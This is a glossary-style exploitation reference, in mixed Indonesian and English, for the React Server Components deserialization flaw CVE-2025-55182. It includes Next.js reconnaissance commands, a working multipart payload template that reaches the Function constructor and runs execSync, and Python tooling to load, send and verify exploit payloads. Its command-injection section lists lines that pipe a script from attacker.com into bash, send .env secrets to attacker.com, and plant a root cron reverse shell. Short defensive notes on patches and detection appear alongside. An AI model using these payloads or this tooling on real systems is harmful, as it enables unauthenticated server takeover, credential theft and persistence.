- Definisi: Teknik reconnaissance untuk identify Next.js build identifier dan environment mode
- Locations:
__NEXT_DATA__script tag dalam page HTML:<script id="__NEXT_DATA__">{"buildId":"abc123",...}</script>
- Static assets path:
/_next/static/[BUILD_ID]/_buildManifest.js - Bundle filenames:
/_next/static/chunks/[BUILD_ID]/...
- Build ID format:
- Development:
development(static string) - Production: Random hash (e.g.,
v8ZQuPSsSqM5OAqN4rDH-)
- Development:
- Purpose:
- Determine development vs production mode
- Aid dalam path prediction untuk exploitation
- Version fingerprinting
- Mode differences:
- Development mode (
buildId === "development"):- Verbose error messages (easier exploitation)
- Source maps available
- Predictable paths
- Clear stack traces
- Production mode (random buildId):
- Obfuscated errors
- No source maps (usually)
- Harder exploitation tapi still vulnerable
- Development mode (
- Detection methods:
# Method 1: Parse HTML curl http://target.com | grep -o '__NEXT_DATA__.*buildId":"[^"]*"' # Method 2: Probe static path curl -I http://target.com/_next/static/development/_buildManifest.js # Method 3: JavaScript extraction curl http://target.com | grep -o '/_next/static/[^/]*/''
- Definisi: Node.js streaming parser untuk multipart/form-data dengan efficient memory usage
- Purpose: Parse uploaded files dan form fields tanpa loading entire body ke memory
- NPM package:
busboy - Usage dalam React:
- Used by
decodeReplyFromBusboy()function - Parse RSC payloads dari HTTP POST requests
- Extract chunks dengan Content-Disposition names
- Used by
- Key features:
- Streaming API (memory efficient)
- Event-based parsing
- Support untuk large file uploads
- Field dan file handling
- Location dalam React:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.edge.production.js - NOT Busboy's fault:
- Busboy correctly parses multipart data
- Vulnerability ada di React's reference resolution, bukan Busboy parsing
- Busboy simply provides parsed data ke React
- API example:
const busboy = Busboy({ headers: req.headers }); busboy.on('field', (fieldname, value) => { console.log(`Field ${fieldname}: ${value}`); }); req.pipe(busboy);
- Definisi: Unit data fundamental dalam React Flight Protocol untuk transfer component state server → client
- Format types:
- Array format (Component element):
["$","div",null,{"className":"container","children":["$1"]}]
- Object format (Data structure):
{"key":"value","nested":{"prop":"$2"},"reference":"$1"} - String format (Plain data):
"This is plain text content" - Number format:
42,3.14 - Boolean/null:
true,false,null
- Array format (Component element):
- Chunk ID notation:
- Format:
ChunkID:JSONData - Example:
0:["$","div"](chunk 0 contains div element) - Newline-separated: Each chunk pada separate line
- Format:
- Reference syntax:
$ChunkID- Reference ke chunk lain (e.g.,$1,$2)$@ChunkID- Self-reference (e.g.,$@0)$ChunkID:key:subkey- Deep property access$BID- Blob reference$FID- Function reference
- Self-reference ($@0):
- CRITICAL EXPLOITATION VECTOR!
- Creates circular reference patterns
- Used untuk trigger specific code paths
- Deep property access:
$1:key:subkeyaccesseschunks[1].key.subkey- VULNERABLE:
$1:__proto__:constructor:constructor - No validation pada property names (pre-patch)
- Complete payload example:
0:["$","div",null,{"className":"app","children":["$1","$2"]}] 1:["$","h1",null,{"children":"Title"}] 2:{"then":"$3:__proto__:constructor:constructor"} 3:"$@0"
- Definisi: Syntax system untuk reference dan navigate between chunks dalam Flight Protocol
- Basic reference:
$1- Reference ke chunk dengan ID 1$2- Reference ke chunk dengan ID 2- Resolves to: Actual object/array/value dari target chunk
- Self-reference:
$@0- Reference ke chunk 0 itself$@1- Reference ke chunk 1 itself- Purpose: Create circular structures, trigger special handling
- Deep property access:
$1:key- Accesschunks[1].key$1:key:subkey- Accesschunks[1].key.subkey$1:nested:deep:property- Multi-level traversal
- Specialized references:
$B0- Blob reference (binary data)$F2- Function reference (serialized function)$S1- Symbol reference$I3- Import reference (client component)
- EXPLOITATION PATH:
$1:__proto__:constructor:constructor- Traverses: chunk[1] →
__proto__→constructor→constructor→ Function! - No validation pada property names (vulnerability)
- Example malicious payload:
{ "0": {"then": "$1:__proto__:then"}, "1": {"x": 1} }$1:__proto__:thenresolves tochunks[1].__proto__.then- Pollutes prototype chain
- When awaited, triggers Function constructor
- Definisi: React component yang renders dan executes di browser (client-side)
- Declaration: File must start dengan
'use client'directive - Capabilities:
- Full JavaScript interactivity
- React hooks:
useState,useEffect,useContext, etc. - Event handlers:
onClick,onChange,onSubmit - Browser APIs:
localStorage,window,document,fetch - Third-party libraries (jika client-safe)
- JavaScript bundle:
- Included dalam client-side bundle
- Downloaded dan executed di browser
- Adds to bundle size (consider code splitting)
- Restrictions:
- Cannot access database directly
- Cannot read filesystem
- Cannot use server-only APIs (Node.js modules)
- Cannot access environment variables (server-only)
- Example:
'use client' // Required directive! import { useState, useEffect } from 'react'; export default function Counter() { const [count, setCount] = useState(0); useEffect(() => { document.title = `Count: ${count}`; }, [count]); return ( <div> <p>Count: {count}</p> <button onClick={() => setCount(count + 1)}> Increment </button> </div> ); }
- Mixing with Server Components:
// app/page.js (Server Component) import Counter from './Counter'; // Client Component export default async function Page() { const data = await fetchFromDatabase(); // Server-only! return ( <div> <h1>{data.title}</h1> <Counter /> {/* Interactive client component */} </div> ); }
- Definisi: Vulnerability allowing attackers inject dan execute OS commands pada server
- Mechanism dalam CVE-2025-55182:
- Prototype pollution → Function constructor access
- Function executes:
process.mainModule.require('child_process').execSync(command) - Command runs dengan privileges dari Node.js process
- Injection techniques:
- Command chaining (semicolon):
whoami; cat /etc/passwd; uname -a
- Pipe operator:
cat /etc/passwd | base64 | head -n 20
- Command substitution:
echo $(whoami) echo `id`
- Logical operators:
whoami && cat /etc/passwd # AND false || cat /etc/passwd # OR
- Background execution:
sleep 10 & curl http://attacker.com/shell.sh | bash &
- Command chaining (semicolon):
- Output extraction methods:
- Base64 digest: Output dalam
error.digestfield - Echo markers: Unique string untuk identify output
- NEXT_REDIRECT: Parse encoded output dari redirect
- Error messages: Output dalam
error.message - Out-of-band: HTTP callback, DNS exfiltration, file write
- Base64 digest: Output dalam
- Example payloads:
# Basic whoami # Full system info whoami; id; uname -a; pwd; ls -la # Network recon ifconfig; netstat -tuln; ps aux # Exfiltration cat /etc/passwd | base64 curl http://attacker.com/exfil -d "data=$(cat .env | base64)" # Persistence echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"' >> /var/spool/cron/crontabs/root
- Detection signatures:
- Suspicious process spawning (
bash,sh,curl,wget,nc) - Outbound network connections
- File modifications (
/etc/passwd, crontabs,.ssh/authorized_keys)
- Suspicious process spawning (
- Definisi: JavaScript technique untuk access Function constructor via prototype chain traversal
- Prototype chain path:
Object instance ↓ __proto__ Object.prototype ↓ .constructor Object (constructor function) ↓ .constructor Function (parent constructor) - Code demonstration:
const obj = {}; // Step-by-step traversal console.log(obj.__proto__); // Object.prototype console.log(obj.__proto__.constructor); // Object function console.log(obj.__proto__.constructor.constructor); // Function! // Verify obj.__proto__.constructor.constructor === Function; // true
- Exploitation:
// Access Function constructor const FunctionConstructor = obj.__proto__.constructor.constructor; // Create arbitrary function const evilFunc = FunctionConstructor("return process.mainModule.require('child_process').execSync"); // Execute command const execSync = evilFunc(); const output = execSync('whoami');
- Why it works:
- JavaScript's prototypal inheritance
- Every function has
constructorproperty Function.constructor === Function(self-referential)
- CVE-2025-55182 usage:
{ "0": {"then": "$1:__proto__:constructor:constructor"}, "1": {"_response": {"_prefix": "malicious_code"}} }$1:__proto__:constructor:constructorresolves to Function- Assigned to
thenproperty await thenabletriggers Function execution → RCE!
- Definisi: HTTP header dalam multipart/form-data specifying metadata untuk each part
- RFC 2183 & 7578 format:
Content-Disposition: form-data; name="fieldname"; filename="file.txt" - Required parameters:
form-data- Disposition type (always untuk multipart/form-data)name- Field name identifier (REQUIRED)
- Optional parameters:
filename- Original filename untuk file uploadsfilename*- Encoded filename (RFC 2231)
- CVE-2025-55182 context:
nameparameter identifies chunk IDs: "0", "1", "2", etc.- React maps names to chunk positions
- Exploitation: Multiple parts dengan sequential names
- Example dalam exploit payload:
------WebKitFormBoundary1A2B3C4D Content-Disposition: form-data; name="0" {"then":"$1:__proto__:constructor:constructor"} ------WebKitFormBoundary1A2B3C4D Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundary1A2B3C4D-- - Parsing considerations:
- Whitespace after
;is optional - Parameter values dapat quoted or unquoted
- Special chars dalam filename must be encoded
- Whitespace after
- Security note: Filename parameter historically source of path traversal vulnerabilities
- Definisi: Standardized international naming scheme untuk publicly disclosed security vulnerabilities
- Format:
CVE-[YEAR]-[NUMBER]- Year: 4-digit year vulnerability disclosed
- Number: 4+ digit unique identifier
- Example:
CVE-2025-55182
- Governance:
- Maintained by: MITRE Corporation
- CNAs (CVE Numbering Authorities): Authorized organizations assign CVE IDs
- Database: National Vulnerability Database (NVD) provides analysis
- CVE-2025-55182 details:
- Year: 2025 (disclosure year)
- ID: 55182 (unique identifier)
- Title: React2Shell Remote Code Execution
- Type: Insecure Deserialization + Prototype Pollution → RCE
- Purpose standardization:
- Unique identifier across platforms
- Facilitate vulnerability tracking
- Enable automated scanning (CVE in signatures)
- Research dan reporting consistency
- Lifecycle:
- Reserved: CVE ID assigned, details embargoed
- Published: Public disclosure dengan details
- Analyzed: NVD adds CVSS score, CWE mapping
- Updated: Additional information, patches, workarounds
- Resources:
- CVE List: https://cve.mitre.org/
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
- GitHub Advisory: GHSA-xxxx-xxxx-xxxx
-
Definisi: Industry-standard framework untuk assessing severity dari security vulnerabilities
-
Current version: CVSS v3.1 (v4.0 emerging)
-
Scale: 0.0 (None) to 10.0 (Critical)
-
Severity ratings:
- 0.0: None
- 0.1-3.9: Low
- 4.0-6.9: Medium
- 7.0-8.9: High
- 9.0-10.0: CRITICAL
-
CVE-2025-55182 Score: 10.0/10.0 (CRITICAL) ← Maximum severity!
-
Base metrics breakdown:
-
Attack Vector (AV): Network (N)
- Exploitable remotely over network
- No physical access required
- Internet-facing targets vulnerable
-
Attack Complexity (AC): Low (L)
- No special conditions needed
- Reliable exploitation
- Minimal attacker skill required
-
Privileges Required (PR): None (N)
- No authentication needed!
- Unauthenticated attacker can exploit
- Public-facing vulnerability
-
User Interaction (UI): None (N)
- Fully automated attack
- No user action required
- No social engineering needed
-
Scope (S): Changed (C)
- Impact beyond vulnerable component
- Affects entire system
- Can pivot to other resources
-
Confidentiality (C): High (H)
- Complete data disclosure
- Read any file accessible to process
- Exfiltrate sensitive information
-
Integrity (I): High (H)
- Complete system modification
- Modify files, configurations
- Install backdoors, malware
-
Availability (A): High (H)
- Total DoS possible
- Crash server, delete data
- Disrupt operations
-
-
Vector string:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H -
Temporal modifiers (change over time):
- Exploit Code Maturity: Functional
- Remediation Level: Official Fix available
- Report Confidence: Confirmed
-
Why 10.0?:
- Unauthenticated RCE (worst combination)
- Network exploitable
- No complexity
- Full system impact
- Definisi: Critical React function untuk decode multipart RSC payloads dari HTTP POST requests
- Purpose: Parse client data sent ke Server Actions atau RSC endpoints
- Location dalam codebase:
node_modules/react-server-dom-webpack/cjs/ ├── react-server-dom-webpack-server.edge.production.js ├── react-server-dom-webpack-server.node.production.js └── react-server-dom-webpack-server.browser.production.js - Function signature:
function decodeReplyFromBusboy( body: ReadableStream, serverModuleMap: ServerModuleMap, options?: DecodeOptions ): Promise<any>
- Parameters:
body: ReadableStream dari HTTP request body (multipart/form-data)serverModuleMap: Mapping module IDs ke server implementationsoptions: Optional config (callbacks, abort signal)
- VULNERABILITY POINT:
- Pre-patch behavior: Tidak validate property names during reference resolution
- Allows:
__proto__,constructor,prototypetraversal - Exploitation:
$1:__proto__:constructor:constructorreaches Function
- Vulnerable code flow:
// Simplified vulnerable logic (pre-patch) function resolveModelChunk(chunk, key) { const value = chunk[key]; // No validation on 'key'! if (key === '__proto__') { // VULNERABLE: Accesses Object.prototype return value; } return value; }
- Fixed versions:
- React 19.0.1+ (Latest)
- React 18.3.0+ (LTS)
- Next.js 15.1.7+ (Latest)
- Next.js 14.2.23+, 13.5.8+ (LTS)
- Patch implementation:
// Patched logic const BLOCKED_KEYS = ['__proto__', 'constructor', 'prototype']; function resolveModelChunk(chunk, key) { if (BLOCKED_KEYS.includes(key)) { throw new Error(`Blocked property access: ${key}`); } return chunk[key]; }
- Exploitation flow:
- Attacker sends POST dengan multipart/form-data
decodeReplyFromBusboy()called dengan body- Busboy parses multipart → chunks extracted
- Reference resolution happens (VULNERABLE STEP)
$1:__proto__:constructor:constructortraverses to Function- Prototype pollution occurs
- Thenable exploitation triggered
- Remote Code Execution achieved!
- Definisi: Process converting serialized data format kembali ke in-memory objects
- General concept:
- Serialization: Object → Byte stream/String
- Deserialization: Byte stream/String → Object
- Purpose: Data storage, network transmission, IPC
- React Flight Protocol context:
- Input: Newline-delimited JSON chunks dengan references
- Process: Parse JSON, resolve
$IDreferences, reconstruct object graph - Output: Complete JavaScript object tree
- Unsafe deserialization (CWE-502):
- Definition: Deserializing untrusted data tanpa proper validation
- Risk: Attacker controls object structure → code execution
- OWASP Top 10 2021: A08 – Software and Data Integrity Failures
- CVE-2025-55182 exploitation chain:
Malicious RSC Payload (serialized) ↓ decodeReplyFromBusboy() - Deserialize chunks ↓ Resolve references ($1:__proto__:constructor:constructor) ↓ Prototype pollution (Object.prototype modified) ↓ Thenable exploitation (await polluted object) ↓ Function constructor invoked ↓ Remote Code Execution! - Why vulnerable:
- React trusts serialized input dari client
- No validation pada reference paths
- Allows
__proto__traversal during resolution - Deserialized objects directly used dalam application
- Example vulnerable deserialization:
// Vulnerable pattern (simplified) function deserialize(data) { const obj = JSON.parse(data); // Direct usage tanpa validation return obj; } const malicious = '{"__proto__":{"isAdmin":true}}'; deserialize(malicious); // ALL objects now have isAdmin = true!
- Secure deserialization practices:
- Whitelist expected properties
- Validate object structure before use
- Use
Object.create(null)(no prototype) - Implement integrity checks (HMAC, signatures)
- Never trust serialized input dari untrusted sources
- Other deserialization vulnerabilities:
- Java: ObjectInputStream vulnerabilities
- Python: pickle RCE
- PHP: unserialize() exploits
- .NET: Binary formatter vulnerabilities
- Definisi: Different build configurations untuk development dan production deployments
- Detection:
// Environment variable process.env.NODE_ENV === 'development' // Dev mode process.env.NODE_ENV === 'production' // Prod mode // Next.js build ID const buildId = window.__NEXT_DATA__.buildId; if (buildId === 'development') { // Development mode } else { // Production mode (random hash) }
- Development Mode characteristics:
- Error messages: Verbose, full stack traces
- Source maps: Available (
.mapfiles) - Console logs: All logs output
- Performance: Slower (no optimizations)
- Hot reload: Code changes reflected immediately
- Bundle size: Larger (includes dev tools)
- Paths: Predictable, readable filenames
- Example error:
Error: Cannot read property 'then' of undefined at decodeReplyFromBusboy (server.js:142:22) at RSCHandler (app/api/rsc/route.js:8:15) Full code context and variable values shown
- Production Mode characteristics:
- Error messages: Obfuscated, minimal details
- Source maps: Usually disabled (security)
- Console logs: Suppressed or filtered
- Performance: Optimized, minified
- Hot reload: Disabled
- Bundle size: Smaller (tree-shaking, minification)
- Paths: Hashed, obfuscated filenames
- Example error:
Application error: a client-side exception has occurred Digest: a1b2c3d4e5f6
- Exploitation impact:
- Development:
- Easier: Clear errors reveal execution flow
- Faster: Quick iteration, immediate feedback
- Detection: Obvious command output dalam errors
- Production:
- Harder: Obfuscated errors, less info
- Stealth: Base64 output, encoded data
- Still vulnerable: Core vulnerability exists
- Development:
- Best practices:
- Never deploy dengan
NODE_ENV=development - Disable source maps dalam production
- Implement proper error logging (server-side only)
- Generic error messages ke clients
- Never deploy dengan
- Definisi: Architectural pattern untuk load exploitation payloads dari external files at runtime
- Architecture:
project/ ├── exploit.py # Main script └── payloads/ ├── basic_rce.txt # Simple RCE ├── reverse_shell.txt # Reverse shell ├── custom/ │ ├── wordpress.txt # WordPress-specific │ └── drupal.txt # Drupal-specific └── advanced/ └── multi_stage.txt # Complex exploitation - Benefits:
- Modularity:
- Separate payloads untuk different scenarios
- Easy add new payloads tanpa code changes
- Customization:
- Edit payloads dalam text editor
- No Python knowledge required
- Quick iteration
- Reusability:
- Share payloads across projects
- Community contributions
- Payload libraries
- Version control:
- Git-friendly (text files)
- Track payload evolution
- Diff visualization
- Collaboration:
- Team members contribute payloads
- Code review payloads separately
- Easier pull requests
- Modularity:
- Implementation example:
class PayloadLoader: def __init__(self, payload_dir='payloads/'): self.payload_dir = payload_dir self.cache = {} def load(self, name, variables=None): """Load payload file dengan variable substitution""" if name in self.cache: template = self.cache[name] else: path = os.path.join(self.payload_dir, f"{name}.txt") with open(path, 'r') as f: template = f.read() self.cache[name] = template # Variable substitution payload = template if variables: for key, value in variables.items(): payload = payload.replace(f'{{{key}}}', value) return payload def list_payloads(self): """List all available payloads""" payloads = [] for root, dirs, files in os.walk(self.payload_dir): for file in files: if file.endswith('.txt'): rel_path = os.path.relpath( os.path.join(root, file), self.payload_dir ) payloads.append(rel_path.replace('.txt', '')) return payloads
- Payload file format:
# Payload: Basic RCE via Prototype Pollution # Description: Exploits CVE-2025-55182 via Function constructor # REQUIRED Variables: {BOUNDARY}, {COMMAND} # OPTIONAL Variables: {MARKER} # Risk Level: HIGH # Target: React 18.x-19.0.0 dengan Next.js ------{BOUNDARY} Content-Disposition: form-data; name="0" {"then":"$1:__proto__:constructor:constructor","_response":{"_prefix":"return process.mainModule.require('child_process').execSync('{COMMAND}').toString('base64')"}} ------{BOUNDARY} Content-Disposition: form-data; name="1" "$@0" ------{BOUNDARY}-- - Usage:
loader = PayloadLoader('payloads/') # List available print(loader.list_payloads()) # ['basic_rce', 'reverse_shell', 'custom/wordpress', ...] # Load dengan variables payload = loader.load('basic_rce', { 'BOUNDARY': 'WebKitFormBoundary12345', 'COMMAND': 'whoami' }) # Send to target response = requests.post(target_url, data=payload, headers=headers)
- Validation:
def validate_payload(payload, required_vars): """Check all required variables substituted""" for var in required_vars: if f'{{{var}}}' in payload: raise ValueError(f"Variable {{{var}}} not substituted!")
- Definisi: Unique string identifier untuk verify successful command execution dalam blind/semi-blind exploitation
- Purpose:
- Distinguish command output dari normal application errors
- Reliable verification tanpa visual feedback
- Tag output untuk parsing dari mixed content
- Format examples:
- Simple prefix:
EXPLOIT_a3f9c2 RCE_SUCCESS_550e8400 MARKER_CVE202555182 - Timestamp-based:
RCE_1735904761123 EXPLOIT_20250103_145241 - UUID:
MARKER_550e8400-e29b-41d4-a716-446655440000 - Base64-encoded:
TVJLUl8xMjM0NTY3ODkw
- Simple prefix:
- Usage patterns:
# Single marker echo EXPLOIT_a3f9c2 && whoami # Start/end markers echo START_MARKER && cat /etc/passwd && echo END_MARKER # With command output echo MARKER_BEGIN; whoami; id; uname -a; echo MARKER_END # Base64 wrapper echo MARKER_$(cat /etc/passwd | base64)
- Detection dalam response:
def detect_marker(response_text, marker): """Search for marker dalam response""" if marker in response_text: # Extract content around marker lines = response_text.split('\n') for i, line in enumerate(lines): if marker in line: return { 'found': True, 'line_number': i, 'context_before': lines[max(0, i-2):i], 'marker_line': line, 'context_after': lines[i+1:min(len(lines), i+3)] } return {'found': False} # Usage marker = f"EXPLOIT_{secrets.token_hex(4)}" command = f"echo {marker} && whoami" response = exploit(target, command) result = detect_marker(response.text, marker) if result['found']: print(f"[+] Command executed! Output on line {result['line_number']}") print(f"[+] Context: {result['context_after']}")
- Advantages:
- Works dalam blind scenarios (no direct output)
- Easier parsing dari HTML/JSON responses
- Reliable even dengan encoding/filtering
- Can carry additional metadata
- Example dalam CVE-2025-55182:
# Generate unique marker marker = f"RCE_SUCCESS_{int(time.time())}" # Craft command dengan marker command = f"echo {marker} && whoami && id && pwd" # Build payload payload = build_payload(boundary, command) # Send exploit response = requests.post(target_url, data=payload, headers=headers) # Parse response if marker in response.text: # Extract output after marker marker_pos = response.text.index(marker) output = response.text[marker_pos+len(marker):marker_pos+500] print(f"[+] Command output:\n{output}")